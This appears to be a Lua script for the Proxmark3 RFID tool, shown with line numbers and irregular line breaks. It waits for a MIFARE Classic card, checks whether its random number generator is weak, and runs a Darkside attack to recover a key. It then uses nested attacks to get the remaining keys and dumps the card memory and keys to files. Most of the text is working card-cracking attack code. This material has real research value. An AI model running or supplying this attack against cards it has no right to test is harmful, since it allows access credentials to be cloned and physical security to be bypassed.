1 local getopt
= require('getopt')
2 local lib14a
= require('read14a')
3 local cmds
= require('commands')
4 local utils
= require('utils')
5 local ansicolors
= require('ansicolors')
8 author
= "Martin Holst Swende"
11 This is a script which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
15 Please consider using the native command `hf mf autopwn`
18 1. script run hf_mf_autopwn
21 script run hf_mf_autopwn [-h] [-d] [-k <key>]
26 -k known key for Sector 0 , keytype A
29 Output files from this operation:
30 <uid>.eml - emulator file
31 <uid>.html - html file containing card data
32 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
33 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
37 -------------------------------
39 -------------------------------
42 -- A debug printout-function
43 local function dbg(args
)
44 if not DEBUG
then return end
45 if type(args
) == 'table' then
56 -- This is only meant to be used when errors occur
57 local function oops(err
)
59 core
.clearCommandBuffer()
69 print(ansicolors
.cyan
..'Usage'..ansicolors
.reset
)
71 print(ansicolors
.cyan
..'Arguments'..ansicolors
.reset
)
73 print(ansicolors
.cyan
..'Example usage'..ansicolors
.reset
)
77 -- Waits for a mifare card to be placed within the vicinity of the reader.
78 -- @return if successful: an table containing card info
79 -- @return if unsuccessful : nil, error
80 local function wait_for_mifare()
81 while not core
.kbd_enter_pressed() do
82 res
, err
= lib14a
.read()
83 if res
then return res
end
84 -- err means that there was no response from card
86 return nil, 'Aborted by user'
89 local function get_mf_size(sak
)
91 if 0x18 == sak
then --NXP MIFARE Classic 4k | Plus 4k | Ev1 4k
93 elseif 0x08 == sak
then -- NXP MIFARE CLASSIC 1k | Plus 2k | Ev1 1K
95 elseif 0x09 == sak
then -- NXP MIFARE Mini 0.3k
97 elseif 0x10 == sak
then-- "NXP MIFARE Plus 2k"
99 elseif 0x01 == sak
then-- "NXP MIFARE TNP3xxx 1K"
102 print("I don't know how many sectors there are on this type of card, defaulting to 16")
107 local function nested(key
, sak
)
108 local mfs
= get_mf_size(sak
)
109 local cmd
= string.format('hf mf nested %s --blk 0 -k %s --dump', mfs
, key
)
113 local function dump_tag(uid
, sak
)
114 dbg('dumping tag memory')
117 if utils
.confirm('Do you wish to create a memory dump of tag?') then
119 local dumpfile
= 'hf-mf-'..uid
..'-dump'
121 local mfs
= get_mf_size(sak
)
122 local dmp
= ('hf mf dump %s -f %s'):format(mfs
, dumpfile
)
125 -- Save the global args, those are *our* arguments
127 -- Set the arguments for data_mf_bin2html script
128 args
=('-i %s.bin -o %s.html'):format(dumpfile
, dumpfile
)
130 require('data_mf_bin2html')
132 -- Set back args. Not that it's used, just for the karma...
137 -- performs a test if tag nonce uses weak or hardend prng
138 local function perform_prng_test()
139 local isweak
= core
.detect_prng()
141 dbg('PRNG detection : WEAK nonce detected')
142 elseif isweak
== 0 then
143 dbg('PRNG detection : HARDEND nonce detected')
145 dbg('PRNG detection : failed')
150 -- The main entry point
151 local function main(args
)
153 local verbose
, _exit
, res
, uid
, err
, _
, sak
156 local print_message
= true
157 -- Read the parameters
158 for o
, a
in getopt
.getopt(args
, 'hdk:') do
159 if o
== 'h' then help() return end
160 if o
== 'd' then DEBUG
= true end
161 if o
== 'k' then key
= a
end
165 if print_message
then
166 print('Waiting for card or press Enter to stop')
167 print_message
= false
169 res
, err
= wait_for_mifare()
170 if err
then return oops(err
) end
175 if not seen_uids
[uid
] then
179 -- check if PRNG is WEAK
180 if perform_prng_test() == 1 then
181 print('Card found, commencing crack on UID', uid
)
184 print('Using key: '..key
);
188 err
, res
= core
.mfDarkside()
189 if err
== -1 then return oops('Button pressed. Aborted.')
190 elseif err
== -2 then return oops([[Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).]])
191 elseif err
== -3 then return oops([[Card is not vulnerable to Darkside attack (its random number generator is not predictable).]])
192 elseif err
== -4 then return oops([[
193 Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
194 generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
195 elseif err
== -5 then return oops('aborted via keyboard.')
197 -- The key is actually 8 bytes, so a
198 -- 6-byte key is sent as 00XXXXXX
199 -- This means we unpack it as first
200 -- two bytes, then six bytes actual key data
201 -- We can discard first and second return values
202 _
,_
,key
= bin
.unpack('H2H6',res
)
203 print('Found valid key: '..key
);
210 if #key
== 12 then _exit
= true end
212 print('Card found, darkside attack useless PRNG hardend on UID', uid
)